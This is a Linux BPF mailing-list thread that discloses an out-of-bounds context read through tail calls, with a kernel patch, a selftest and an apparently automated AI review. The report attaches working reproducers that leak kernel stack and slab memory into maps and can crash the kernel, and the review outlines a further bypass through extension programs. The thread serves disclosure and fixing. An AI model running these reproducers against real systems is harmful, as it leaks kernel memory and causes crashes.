* bpf: tail-call targets bypass max_ctx_offset checks (OOB read, KASAN splats)
@ 2026-12-05 9:06 Pragyansh Chaturvedi
2026-12-05 9:09 ` [PATCH bpf 1/2] bpf: Give a raw_tp test_run program the largest context when it does tail calls Pragyansh Chaturvedi
0 siblings, 1 reply; 5+ messages in thread
From: Pragyansh Chaturvedi @ 2026-12-05 9:06 UTC (permalink / raw)
To: bpf
Cc: varunrmallya, kc, ngs, ast, daniel, andrii, eddyz87,
yonghong.song, memxor, netdev, linux-kselftest
[-- Attachment #1: Type: text/plain, Size: 5722 bytes --]
Subject: bpf: tail-call targets bypass max_ctx_offset checks on raw_tp and tracepoint paths (OOB read, KASAN splat)
The verifier records the furthest ctx byte a program may read in
prog->aux->max_ctx_offset, and the raw_tp test_run, raw_tp attach, and
tracepoint attach paths each refuse a program whose max_ctx_offset
exceeds the ctx actually available. Every one of those checks looks
only at the program being run or attached; a PROG_ARRAY tail-call
target is never checked. A caller that never touches ctx keeps
max_ctx_offset = 0, passes the gate, and tail-calls a target that
reads far past the real buffer. Commit 08c987904970 ("bpf: Give a
syscall program the largest context when it does tail calls") closed
this for the SYSCALL test_run path only.
Verified live on bpf-next HEAD 289cd43f93ed (2026-12-03,
Linux 7.4.0-rc4), x86-64, KASAN + BPF_JIT_KASAN.
----------------------------------------------------------------------
Path 1: raw_tp test_run (net/bpf/test_run.c, bpf_prog_test_run_raw_tp)
ctx = memdup_user(ctx_in, ctx_size_in) with no tail_call_reachable
padding. Caller (max_ctx_offset 0) -> mid -> target (reads 96 bytes):
BUG: KASAN: slab-out-of-bounds in bpf_prog_..._target+0x2a/0x259
Read of size 8 at addr ffff88810486a818 by task ld-linux-x86-64/104
Not tainted 7.4.0-rc4-g289cd43f93ed #4
bpf_prog_..._target+0x2a/0x259
__bpf_prog_test_run_raw_tp+0x5b8/0x900
bpf_prog_test_run_raw_tp+0x42f/0x7e0
__sys_bpf+0x114e/0x5420
__x64_sys_bpf+0xd5/0x1f0
The buggy address belongs to the cache memdup_user-8 of size 8
The buggy address is located 16 bytes to the right of
allocated 8-byte region [ffff88810486a800, ffff88810486a808)
----------------------------------------------------------------------
Path 2: raw_tp attach (kernel/trace/bpf_trace.c, bpf_probe_register)
Caller attached to sched_switch (3 args, 24-byte stack buffer)
tail-calls a target reading 96 bytes:
BUG: KASAN: stack-out-of-bounds in bpf_prog_..._target+0x2e0/0x775
Read of size 8 at addr ffffc9000064f200 by task ld-linux-x86-64/112
Not tainted 7.4.0-rc4-g289cd43f93ed #4
bpf_prog_..._target+0x2e0/0x775
bpf_trace_run4+0x641/0xaa0
__schedule+0x1735/0x40f0
The buggy address belongs to stack of task ld-linux-x86-64/112
and is located at offset 128 in frame:
This frame has 2 objects:
[32, 64) 'run_ctx'
[96, 128) 'args' <- read starts at the first byte past 'args'
----------------------------------------------------------------------
Path 3: tracepoint attach (kernel/events/core.c,
__perf_event_set_bpf_prog; check is max_ctx_offset > tp arg size,
attached program only). Caller on sys_enter_nanosleep (32-byte
stack buffer).
With an 800-byte read the target program trips KASAN and then
crashes the kernel, on a clean boot:
BUG: KASAN: stack-out-of-bounds in bpf_prog_..._target+0x4ae/0x211e
Read of size 8 at addr ffffc9000067fda0 by task ld-linux-x86-64/105
Not tainted 7.4.0-rc4-g289cd43f93ed-dirty #5
bpf_prog_..._target+0x4ae/0x211e
trace_call_bpf_faultable+0x745/0xaf0
perf_call_bpf_enter+0x167/0x2b0
perf_syscall_enter+0x334/0xcd0
trace_syscall_enter+0x62/0xb0
do_syscall_64+0x41f/0x4d0
BUG: unable to handle page fault for address: ffffc90000680000
#PF: supervisor read access in kernel mode
#PF: error_code(0x0000) - not-present page
Oops: 0000 [#1] SMP KASAN NOPTI
RIP: 0010:bpf_prog_..._target+0x1de7/0x211e
trace_call_bpf_faultable+0x745/0xaf0
perf_syscall_enter+0x334/0xcd0
Note that trace_call_bpf_faultable() does not contain the read: the
JITed target's plain ctx loads are not covered by the faultable
wrapper, so the window runs off the task's vmalloc stack into the
guard page. This variant is therefore both a silent infoleak at
small windows and a reliable kernel crash at larger ones.
----------------------------------------------------------------------
Reproducers (CAP_BPF+CAP_PERFMON):
make && ./rawtp_chain_leak ; ./rawtp_attach_leak ; ./tp_attach_bypass
[sources attached]
----------------------------------------------------------------------
Analysis:
All three gates validate only the attached/run program:
net/bpf/test_run.c:796 ctx_size_in < prog->aux->max_ctx_offset
net/bpf/test_run.c:808 memdup_user(ctx_in, ctx_size_in), no pad
kernel/trace/bpf_trace.c:2209 max_ctx_offset > num_args*8 (attach)
kernel/events/core.c:11896 max_ctx_offset > off (attach)
prog_fd_array_get_ptr() / __bpf_prog_map_compatible() gate tail-call
targets on program type, sleepable, hook key, cgroup storage, but never
on max_ctx_offset.vmax_ctx_offset was never added to that list.
08c987904970 fixed the SYSCALL test_run instance of the same field, but
the other three paths were out of its scope.
Suggested fix:
Path 1: apply 08c987904970's treatment to bpf_prog_test_run_raw_tp()
(kvzalloc + pad to the max when the run program is
tail_call_reachable, mirroring the syscall path's
ctx_size_in < U16_MAX rejection).
Paths 2+3 are the design question: the buffer size is a property of
the hook, the requirement a property of arbitrary future tail-call
targets. Options:
(a) inflate the caller's max_ctx_offset to
U32_MAX when it contains bpf_tail_call (the fixup_tail_calls
pattern; correct but makes every tail-calling raw_tp/tp program
unattachable).
(b) zero-pad the on-stack arg buffers (bpf_trace_runN,
perf/tp enter) for tail-call-reachable callers.
(c) carry the real ctx size in the run context and bounds-check at
tail-call entry.
The gap exists since PROG_ARRAY tail calls (04fd61ab36ec, 2015) met
the max_ctx_offset checks. Every current release and bpf-next HEAD
have it.
Thanks
Pragyansh and Varun
[-- Attachment #2: rawtp_chain_leak.bpf.c --]
[-- Type: text/x-csrc, Size: 752 bytes --]
// SPDX-License-Identifier: GPL-2.0
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 2);
__type(key, __u32);
__type(value, __u32);
} jmp_table SEC(".maps");
__u64 sink;
SEC("raw_tracepoint/sched_switch")
int caller(void *ctx) /* max_ctx_offset = 0 */
{
bpf_tail_call(ctx, &jmp_table, 0);
return 0;
}
SEC("raw_tracepoint/sched_switch")
int mid(void *ctx) /* max_ctx_offset = 0 */
{
bpf_tail_call(ctx, &jmp_table, 1);
return 0;
}
SEC("raw_tracepoint/sched_switch")
int target(void *ctx) /* max_ctx_offset = 96 */
{
__u64 *a = ctx;
#pragma clang loop unroll(full)
for (int i = 0; i < 12; i++)
sink += a[i];
return 0;
}
char LICENSE[] SEC("license") = "GPL";
[-- Attachment #3: rawtp_chain_leak.c --]
[-- Type: text/x-csrc, Size: 1252 bytes --]
// SPDX-License-Identifier: GPL-2.0
/* raw_tp chain caller->mid->target reads 96 bytes from an 8-byte test_run ctx. */
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
int main(int argc, char **argv)
{
const char *path = argc > 1 ? argv[1] : "rawtp_chain_leak.bpf.o";
unsigned char ctx[8] = { 1, 2, 3, 4, 5, 6, 7, 8 };
struct bpf_object *obj;
int map_fd, cfd, tfd, k;
obj = bpf_object__open_file(path, NULL);
if (libbpf_get_error(obj) || bpf_object__load(obj))
return perror("load"), 1;
map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table"));
cfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "caller"));
k = 0; tfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "mid"));
bpf_map_update_elem(map_fd, &k, &tfd, BPF_ANY);
k = 1; tfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "target"));
bpf_map_update_elem(map_fd, &k, &tfd, BPF_ANY);
LIBBPF_OPTS(bpf_test_run_opts, o, .ctx_in = ctx, .ctx_size_in = sizeof(ctx));
printf("target direct: %s\n",
bpf_prog_test_run_opts(tfd, &o) ? strerror(errno) : "accepted");
printf("via chain: %s\n",
bpf_prog_test_run_opts(cfd, &o) ? strerror(errno) : "accepted");
return 0;
}
[-- Attachment #4: rawtp_attach_leak.bpf.c --]
[-- Type: text/x-csrc, Size: 1014 bytes --]
// SPDX-License-Identifier: GPL-2.0
/* Modified for verification: target exfiltrates the 96 bytes it reads via `out`.
* sched_switch raw_tp has 3 args = 24 bytes; indices >= 3 are OOB.
*/
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, __u32);
} jmp_table SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 12);
__type(key, __u32);
__type(value, __u64);
} out SEC(".maps");
__u64 sink;
SEC("raw_tracepoint/sched_switch")
int caller(void *ctx) /* max_ctx_offset = 0 */
{
bpf_tail_call(ctx, &jmp_table, 0);
return 0;
}
SEC("raw_tracepoint/sched_switch")
int target(void *ctx) /* max_ctx_offset = 96; sched_switch has 3 args */
{
__u64 *a = ctx;
#pragma clang loop unroll(full)
for (int i = 0; i < 12; i++) {
__u32 k = i;
__u64 v = a[i];
sink += v;
bpf_map_update_elem(&out, &k, &v, BPF_ANY);
}
return 0;
}
char LICENSE[] SEC("license") = "GPL";
[-- Attachment #5: rawtp_attach_leak.c --]
[-- Type: text/x-csrc, Size: 1458 bytes --]
// SPDX-License-Identifier: GPL-2.0
/* Modified for verification: dumps the exfiltrated words; indices >= 3 (byte >= 24) are OOB. */
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
int main(int argc, char **argv)
{
const char *path = argc > 1 ? argv[1] : "rawtp_attach_leak.bpf.o";
struct bpf_program *caller, *target;
struct bpf_object *obj;
int map_fd, out_fd, tfd, key = 0;
obj = bpf_object__open_file(path, NULL);
if (libbpf_get_error(obj) || bpf_object__load(obj))
return perror("load"), 1;
caller = bpf_object__find_program_by_name(obj, "caller");
target = bpf_object__find_program_by_name(obj, "target");
map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table"));
out_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "out"));
tfd = bpf_program__fd(target);
printf("target direct attach: %s\n",
bpf_program__attach_raw_tracepoint(target, "sched_switch") ?
"ACCEPTED" : strerror(errno));
bpf_map_update_elem(map_fd, &key, &tfd, BPF_ANY);
if (!bpf_program__attach_raw_tracepoint(caller, "sched_switch"))
return perror("attach caller"), 1;
printf("caller attach: ACCEPTED\n");
usleep(100000);
for (int i = 0; i < 12; i++) {
unsigned long long v = 0;
bpf_map_lookup_elem(out_fd, &i, &v);
printf(" [%2d] off=%3d 0x%016llx%s\n", i, i * 8, v,
i >= 3 ? " <- OOB (past 24-byte arg buffer)" : "");
}
return 0;
}
[-- Attachment #6: tp_attach_bypass.bpf.c --]
[-- Type: text/x-csrc, Size: 1088 bytes --]
// SPDX-License-Identifier: GPL-2.0
/* Modified for verification: target exfiltrates the 248 bytes it reads via `out`.
* sys_enter_nanosleep tp buffer: 8B common + 8B nr + 2 args = 32 bytes;
* indices >= 4 (byte offset >= 32) are OOB.
*/
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, __u32);
} jmp_table SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 32);
__type(key, __u32);
__type(value, __u64);
} out SEC(".maps");
__u64 sink;
SEC("tracepoint/syscalls/sys_enter_nanosleep")
int caller(void *ctx) /* max_ctx_offset = 0 */
{
bpf_tail_call(ctx, &jmp_table, 0);
return 0;
}
SEC("tracepoint/syscalls/sys_enter_nanosleep")
int target(void *ctx) /* max_ctx_offset = 256 */
{
__u64 *a = ctx;
#pragma clang loop unroll(full)
for (int i = 1; i < 100; i++) {
__u64 v = a[i];
sink += v;
if (i < 32) {
__u32 k = i;
bpf_map_update_elem(&out, &k, &v, BPF_ANY);
}
}
return 0;
}
char LICENSE[] SEC("license") = "GPL";
[-- Attachment #7: tp_attach_bypass.c --]
[-- Type: text/x-csrc, Size: 1672 bytes --]
// SPDX-License-Identifier: GPL-2.0
/* Modified for verification: dumps the exfiltrated words; indices >= 4 (byte >= 32) are OOB. */
#include <errno.h>
#include <stdio.h>
#include <time.h>
#include <sys/syscall.h>
#include <string.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
int main(int argc, char **argv)
{
const char *path = argc > 1 ? argv[1] : "tp_attach_bypass.bpf.o";
struct bpf_program *caller, *target;
struct bpf_object *obj;
int map_fd, out_fd, tfd, key = 0;
obj = bpf_object__open_file(path, NULL);
if (libbpf_get_error(obj) || bpf_object__load(obj))
return perror("load"), 1;
caller = bpf_object__find_program_by_name(obj, "caller");
target = bpf_object__find_program_by_name(obj, "target");
map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table"));
out_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "out"));
tfd = bpf_program__fd(target);
printf("target direct attach: %s\n",
bpf_program__attach_tracepoint(target, "syscalls", "sys_enter_nanosleep") ?
"ACCEPTED" : strerror(errno));
bpf_map_update_elem(map_fd, &key, &tfd, BPF_ANY);
if (!bpf_program__attach_tracepoint(caller, "syscalls", "sys_enter_nanosleep"))
return perror("attach caller"), 1;
printf("caller attach: ACCEPTED\n");
struct timespec ts = { .tv_sec = 0, .tv_nsec = 1000 * 1000 };
syscall(SYS_nanosleep, &ts, NULL); /* glibc nanosleep() uses clock_nanosleep; we want nr 35 */
for (int i = 1; i < 32; i++) {
unsigned long long v = 0;
bpf_map_lookup_elem(out_fd, &i, &v);
printf(" [%2d] off=%3d 0x%016llx%s\n", i, i * 8, v,
i >= 4 ? " <- OOB (past 32-byte tp buffer)" : "");
}
return 0;
}
[-- Attachment #8: Makefile --]
[-- Type: text/plain, Size: 281 bytes --]
PROGS := rawtp_chain_leak rawtp_attach_leak tp_attach_bypass
all: $(PROGS) $(addsuffix .bpf.o,$(PROGS))
%.bpf.o: %.bpf.c
clang -O2 -g -target bpf -c $< -o $@
%: %.c
$(CC) -O2 -o $@ $< -lbpf -lelf -lz -lzstd
clean:
rm -f $(PROGS) $(addsuffix .bpf.o,$(PROGS))
.PHONY: all clean
^ permalink raw reply [flat|nested] 5+ messages in thread
* [PATCH bpf 1/2] bpf: Give a raw_tp test_run program the largest context when it does tail calls
2026-12-05 9:06 bpf: tail-call targets bypass max_ctx_offset checks (OOB read, KASAN splats) Pragyansh Chaturvedi
@ 2026-12-05 9:09 ` Pragyansh Chaturvedi
2026-12-05 9:09 ` [PATCH bpf 2/2] selftests/bpf: Test raw_tp test_run ctx padding for " Pragyansh Chaturvedi
2026-12-05 9:35 ` [PATCH bpf 1/2] bpf: Give a raw_tp test_run program the largest context when it does " bot+bpf-ci
0 siblings, 2 replies; 5+ messages in thread
From: Pragyansh Chaturvedi @ 2026-12-05 9:09 UTC (permalink / raw)
To: bpf
Cc: ast, daniel, andrii, eddyz87, varunrmallya, kc, yonghong.song,
memxor, ngs, netdev, linux-kselftest, Pragyansh Chaturvedi
BPF_PROG_RUN for RAW_TRACEPOINT compares ctx_size_in with the
max_ctx_offset of the program that it runs. The target of a tail call
gets the same context:
first: bpf_tail_call(ctx, ...) max_ctx_offset 0, ctx_size_in 8
target: r0 = *(u64 *)(ctx + 96) out of bounds
The target is not known before the run. Pad the copy of the context
with zeros up to U16_MAX, no program can use more.
This is the raw_tp instance of commit 08c987904970 ("bpf: Give a
syscall program the largest context when it does tail calls"), which
applied the same fix to the syscall test_run path only. With KASAN
and BPF_JIT_KASAN the raw_tp path reports:
BUG: KASAN: slab-out-of-bounds in bpf_prog_..._target+0x2a/0x259
Read of size 8 at addr ffff88810486a818 by task rawtp_chain_leak/285
bpf_prog_..._target+0x2a/0x259
__bpf_prog_test_run_raw_tp+0x5b8/0x900
bpf_prog_test_run_raw_tp+0x42f/0x7e0
The buggy address belongs to the cache memdup_user-8 of size 8
The copy is accounted now. It comes from kmalloc-cg or vmalloc, not
from the caches of memdup_user().
Fixes: 04fd61ab36ec ("bpf: allow bpf programs to tail-call other bpf programs")
Signed-off-by: Pragyansh Chaturvedi <r41k0u@ubuntu.com>
---
net/bpf/test_run.c | 20 +++++++++++++++-----
1 file changed, 15 insertions(+), 5 deletions(-)
diff --git a/net/bpf/test_run.c b/net/bpf/test_run.c
index 8b8c4e9ded9..31c4c656d39 100644
--- a/net/bpf/test_run.c
+++ b/net/bpf/test_run.c
@@ -782,6 +782,7 @@ int bpf_prog_test_run_raw_tp(struct bpf_prog *prog,
__u32 ctx_size_in = kattr->test.ctx_size_in;
struct bpf_raw_tp_test_run_info info;
int cpu = kattr->test.cpu, err = 0;
+ u32 size = ctx_size_in;
int current_cpu;
/* doesn't support data_in/out, ctx_out, duration, or repeat */
@@ -804,10 +805,18 @@ int bpf_prog_test_run_raw_tp(struct bpf_prog *prog,
if (prog->sleepable && (kattr->test.flags & BPF_F_TEST_RUN_ON_CPU))
return -EINVAL;
- if (ctx_size_in) {
- info.ctx = memdup_user(ctx_in, ctx_size_in);
- if (IS_ERR(info.ctx))
- return PTR_ERR(info.ctx);
+ /* the target of a tail call can use that much */
+ if (prog->aux->tail_call_reachable)
+ size = max_t(u32, size, U16_MAX);
+
+ if (size) {
+ info.ctx = kvzalloc(size, GFP_KERNEL_ACCOUNT | __GFP_NOWARN);
+ if (!info.ctx)
+ return -ENOMEM;
+ if (copy_from_user(info.ctx, ctx_in, ctx_size_in)) {
+ err = -EFAULT;
+ goto out;
+ }
} else {
info.ctx = NULL;
}
@@ -842,7 +851,8 @@ int bpf_prog_test_run_raw_tp(struct bpf_prog *prog,
copy_to_user(&uattr->test.retval, &info.retval, sizeof(u32)))
err = -EFAULT;
- kfree(info.ctx);
+out:
+ kvfree(info.ctx);
return err;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 5+ messages in thread
* [PATCH bpf 2/2] selftests/bpf: Test raw_tp test_run ctx padding for tail calls
2026-12-05 9:09 ` [PATCH bpf 1/2] bpf: Give a raw_tp test_run program the largest context when it does tail calls Pragyansh Chaturvedi
@ 2026-12-05 9:09 ` Pragyansh Chaturvedi
2026-12-05 9:35 ` bot+bpf-ci
2026-12-05 9:35 ` [PATCH bpf 1/2] bpf: Give a raw_tp test_run program the largest context when it does " bot+bpf-ci
1 sibling, 1 reply; 5+ messages in thread
From: Pragyansh Chaturvedi @ 2026-12-05 9:09 UTC (permalink / raw)
To: bpf
Cc: ast, daniel, andrii, eddyz87, varunrmallya, kc, yonghong.song,
memxor, ngs, netdev, linux-kselftest, Pragyansh Chaturvedi
Add tailcall_raw_tp_ctx: a raw_tp caller that only tail-calls
(max_ctx_offset 0) and a target that reads 96 bytes of ctx and
returns 42 only if everything past the 8 bytes supplied by test_run
reads as zero. Without the ctx padding in bpf_prog_test_run_raw_tp()
the target reads out of bounds and almost surely returns 1 instead.
Signed-off-by: Pragyansh Chaturvedi <r41k0u@ubuntu.com>
---
.../selftests/bpf/prog_tests/tailcalls.c | 38 +++++++++++++++++++
.../selftests/bpf/progs/tailcall_raw_tp_ctx.c | 37 ++++++++++++++++++
2 files changed, 75 insertions(+)
create mode 100644 tools/testing/selftests/bpf/progs/tailcall_raw_tp_ctx.c
diff --git a/tools/testing/selftests/bpf/prog_tests/tailcalls.c b/tools/testing/selftests/bpf/prog_tests/tailcalls.c
index 88d223110ec..be3bb858494 100644
--- a/tools/testing/selftests/bpf/prog_tests/tailcalls.c
+++ b/tools/testing/selftests/bpf/prog_tests/tailcalls.c
@@ -17,6 +17,42 @@
#include "tailcall_callback.skel.h"
#include "tailcall_bpf2bpf2.skel.h"
#include "tailcall_bpf2bpf_fexit.skel.h"
+#include "tailcall_raw_tp_ctx.skel.h"
+
+/* test_tailcall_raw_tp_ctx checks that a raw_tp program run through
+ * BPF_PROG_TEST_RUN gets a zero-padded ctx when it can be reached by a
+ * tail call. The caller supplies 8 bytes of ctx and tail-calls a
+ * target that reads 96 bytes; without the padding the target reads
+ * out of bounds and (almost surely) non-zero memory, failing the
+ * retval check.
+ */
+static void test_tailcall_raw_tp_ctx(void)
+{
+ struct tailcall_raw_tp_ctx *skel;
+ __u64 ctx[12] = {};
+ int err, key = 0, prog_fd;
+
+ skel = tailcall_raw_tp_ctx__open_and_load();
+ if (!ASSERT_OK_PTR(skel, "open_and_load"))
+ return;
+
+ prog_fd = bpf_program__fd(skel->progs.target);
+ err = bpf_map_update_elem(bpf_map__fd(skel->maps.jmp_table), &key,
+ &prog_fd, BPF_ANY);
+ if (!ASSERT_OK(err, "jmp_table"))
+ goto out;
+
+ /* raw_tp test_run does not accept repeat */
+ LIBBPF_OPTS(bpf_test_run_opts, topts,
+ .ctx_in = ctx,
+ .ctx_size_in = 8,
+ );
+ err = bpf_prog_test_run_opts(bpf_program__fd(skel->progs.caller), &topts);
+ ASSERT_OK(err, "test_run");
+ ASSERT_EQ(topts.retval, 42, "ctx padded with zeros");
+out:
+ tailcall_raw_tp_ctx__destroy(skel);
+}
/* test_tailcall_1 checks basic functionality by patching multiple locations
* in a single program for a single tail call slot with nop->jmp, jmp->nop
@@ -2138,4 +2174,6 @@ void test_tailcalls(void)
test_tailcall_bpf2bpf_fexit_links();
if (test__start_subtest("tailcall_large_stack"))
test_tailcall_large_stack();
+ if (test__start_subtest("tailcall_raw_tp_ctx"))
+ test_tailcall_raw_tp_ctx();
}
diff --git a/tools/testing/selftests/bpf/progs/tailcall_raw_tp_ctx.c b/tools/testing/selftests/bpf/progs/tailcall_raw_tp_ctx.c
new file mode 100644
index 00000000000..e8380d19892
--- /dev/null
+++ b/tools/testing/selftests/bpf/progs/tailcall_raw_tp_ctx.c
@@ -0,0 +1,37 @@
+// SPDX-License-Identifier: GPL-2.0
+#include <linux/bpf.h>
+#include <bpf/bpf_helpers.h>
+
+struct {
+ __uint(type, BPF_MAP_TYPE_PROG_ARRAY);
+ __uint(max_entries, 1);
+ __type(key, __u32);
+ __type(value, __u32);
+} jmp_table SEC(".maps");
+
+SEC("raw_tracepoint/sched_switch")
+int caller(void *ctx)
+{
+ bpf_tail_call(ctx, &jmp_table, 0);
+ return 0;
+}
+
+SEC("raw_tracepoint/sched_switch")
+int target(void *ctx)
+{
+ __u64 *a = ctx;
+
+ /* The test runs the caller with an 8-byte ctx. Everything past
+ * the first u64 must read as zero: without the test_run ctx
+ * padding, these reads are out of bounds and leak whatever
+ * memory follows the small copy.
+ */
+#pragma clang loop unroll(full)
+ for (int i = 1; i < 12; i++) {
+ if (a[i])
+ return 1;
+ }
+ return 42;
+}
+
+char LICENSE[] SEC("license") = "GPL";
--
2.53.0
^ permalink raw reply related [flat|nested] 5+ messages in thread
* Re: [PATCH bpf 1/2] bpf: Give a raw_tp test_run program the largest context when it does tail calls
2026-12-05 9:09 ` [PATCH bpf 1/2] bpf: Give a raw_tp test_run program the largest context when it does tail calls Pragyansh Chaturvedi
2026-12-05 9:09 ` [PATCH bpf 2/2] selftests/bpf: Test raw_tp test_run ctx padding for " Pragyansh Chaturvedi
@ 2026-12-05 9:35 ` bot+bpf-ci
1 sibling, 0 replies; 5+ messages in thread
From: bot+bpf-ci @ 2026-12-05 9:35 UTC (permalink / raw)
To: r41k0u, bpf
Cc: ast, daniel, andrii, eddyz87, varunrmallya, kc, yonghong.song,
memxor, ngs, netdev, linux-kselftest, r41k0u, ast, andrii, daniel,
martin.lau, eddyz87, yonghong.song, mason, ihor.solodrai
[-- Attachment #1: Type: text/plain, Size: 6829 bytes --]
> bpf: Give a raw_tp test_run program the largest context when it does tail calls
TL;DR:
- Fix may be incomplete: an extension adding tail calls to a non-tail-call
raw_tp program can still cause an out-of-bounds ctx read
- U16_MAX padding looks excessive; 96 bytes suffices
- Changelog example and Fixes: tag look wrong
> diff --git a/net/bpf/test_run.c b/net/bpf/test_run.c
> --- a/net/bpf/test_run.c
> +++ b/net/bpf/test_run.c
[ ... ]
> @@ -809,10 +810,18 @@ int bpf_prog_test_run_raw_tp(struct bpf_prog *prog,
> if (prog->sleepable && (kattr->test.flags & BPF_F_TEST_RUN_ON_CPU))
> return -EINVAL;
>
> - if (ctx_size_in) {
> - info.ctx = memdup_user(ctx_in, ctx_size_in);
> - if (IS_ERR(info.ctx))
> - return PTR_ERR(info.ctx);
> + /* the target of a tail call can use that much */
> + if (prog->aux->tail_call_reachable)
> + size = max_t(u32, size, U16_MAX);
^^^^
Is this fix complete? It only pads the context when the program being run
is itself tail_call_reachable, but an extension attached to it can add a
tail call.
The commit message calls this the raw_tp instance of 08c987904970, which
also changed bpf_tracing_prog_attach() so an extension cannot add tail
calls to a program that has none:
if (prog->type == BPF_PROG_TYPE_EXT && tgt_prog->type == BPF_PROG_TYPE_SYSCALL &&
prog->aux->tail_call_reachable && !tgt_prog->aux->tail_call_reachable) {
There is no equivalent check for BPF_PROG_TYPE_RAW_TRACEPOINT, and nothing
in bpf_check_attach_target(), bpf_tracing_prog_attach() or
bpf_freplace_link_tgt_prog() looks at tail_call_reachable.
Consider this sequence:
1. Load raw_tp program A with a global subprog
sub(struct bpf_raw_tracepoint_args *ctx) and no tail calls.
A->aux->tail_call_reachable is false and max_ctx_offset is 0.
2. Load extension E for sub() that calls bpf_tail_call(ctx, &jmp, 0).
E's prog array takes the owner type RAW_TRACEPOINT via
resolve_prog_type(), and bpf_prog_hook_key() is 0 for both E and a
raw_tp program.
3. Put raw_tp program B, which reads *(u64 *)(ctx + 88), into jmp.
Attach E to A. The max_ctx_offset check passes because E's is 0.
4. Run BPF_PROG_TEST_RUN on A with ctx_size_in = 8.
Since tail_call_reachable is false for A, kvzalloc(8) is used. A calls E,
E tail-calls B, and B reads 88 bytes past the allocation, which is the same
slab-out-of-bounds read this commit fixes. With ctx_size_in = 0,
info.ctx is NULL and B dereferences NULL + 8.
Would a check in bpf_tracing_prog_attach() that rejects an EXT program with
tail_call_reachable on a RAW_TRACEPOINT target without it, matching the
SYSCALL check, close this? The other patch in the series (90faffad4172
"selftests/bpf: Test raw_tp test_run ctx padding for tail calls") only adds
a selftest.
This isn't a bug, but is U16_MAX the right bound here? Only
BPF_PROG_TYPE_SYSCALL gets variable context offsets bounded by U16_MAX
(is_var_ctx_off_allowed()). A raw_tp program, and so any tail call target
(same prog type per __bpf_prog_map_compatible()), reaches its context only
through bpf_tracing_ctx_access():
if (off < 0 || off >= sizeof(__u64) * MAX_BPF_FUNC_ARGS)
return false;
So no raw_tp target can use more than MAX_BPF_FUNC_ARGS * sizeof(u64) = 96
bytes, and bpf_prog_test_run_raw_tp() already caps ctx_size_in at that
value a few lines up. The comment "the target of a tail call can use that
much" does not hold for raw_tp.
Every test run of a tail-calling raw_tp program now allocates and zeroes
64 KiB instead of 96 bytes. That is above PAGE_SIZE, so kvmalloc tries a
high-order kmalloc without direct reclaim and then falls back to vmalloc,
all charged to the memcg.
Could the padding be MAX_BPF_FUNC_ARGS * sizeof(u64), matching the existing
upper bound?
[ ... ]
commit c281503673d7081d45e1237362eed5e7f4872c12
Author: Pragyansh Chaturvedi <r41k0u@ubuntu.com>
> bpf: Give a raw_tp test_run program the largest context when it does tail calls
>
> BPF_PROG_RUN for RAW_TRACEPOINT compares ctx_size_in with the
> max_ctx_offset of the program that it runs. The target of a tail call
> gets the same context:
> first: bpf_tail_call(ctx, ...) max_ctx_offset 0, ctx_size_in 8
> target: r0 = *(u64 *)(ctx + 96) out of bounds
> The target is not known before the run. Pad the copy of the context
> with zeros up to U16_MAX, no program can use more.
> This is the raw_tp instance of commit 08c987904970 ("bpf: Give a
> syscall program the largest context when it does tail calls"), which
> applied the same fix to the syscall test_run path only. With KASAN
> and BPF_JIT_KASAN the raw_tp path reports:
> BUG: KASAN: slab-out-of-bounds in bpf_prog_..._target+0x2a/0x259
> Read of size 8 at addr ffff88810486a818 by task rawtp_chain_leak/285
> bpf_prog_..._target+0x2a/0x259
> __bpf_prog_test_run_raw_tp+0x5b8/0x900
> bpf_prog_test_run_raw_tp+0x42f/0x7e0
> The buggy address belongs to the cache memdup_user-8 of size 8
> The copy is accounted now. It comes from kmalloc-cg or vmalloc, not
> from the caches of memdup_user().
> Fixes: 04fd61ab36ec ("bpf: allow bpf programs to tail-call other bpf programs")
> Signed-off-by: Pragyansh Chaturvedi <r41k0u@ubuntu.com>
The example target in the changelog cannot be loaded:
> target: r0 = *(u64 *)(ctx + 96) out of bounds
raw_tp_prog_is_valid_access() calls bpf_tracing_ctx_access(), which rejects
off >= sizeof(__u64) * MAX_BPF_FUNC_ARGS (96), so the verifier refuses this
load. The largest valid 8-byte read is at ctx + 88, which is the last load
in the selftest added in 90faffad4172.
The changelog also says:
> This is the raw_tp instance of commit 08c987904970 ("bpf: Give a
> syscall program the largest context when it does tail calls")
but it leaves out that commit's extension check in bpf_tracing_prog_attach()
(see the first comment above). Also, 08c987904970 is not an ancestor of
this tree, where bpf_prog_test_run_syscall() still uses memdup_user().
The Fixes: tag looks wrong:
> Fixes: 04fd61ab36ec ("bpf: allow bpf programs to tail-call other bpf programs")
That commit predates BPF_PROG_TEST_RUN for raw_tracepoint and does not
touch the test_run ctx handling. The out-of-bounds read comes from
bpf_prog_test_run_raw_tp() sizing the ctx copy from ctx_size_in and
checking it only against the first program's max_ctx_offset, which was
introduced by 1b4d60ec162f. Should this be:
Fixes: 1b4d60ec162f ("bpf: Enable BPF_PROG_TEST_RUN for raw_tracepoint")
---
AI reviewed your patch. Please fix the bug or email reply why it's not a bug.
See: https://github.com/kernel-patches/vmtest/blob/master/ci/claude/README.md
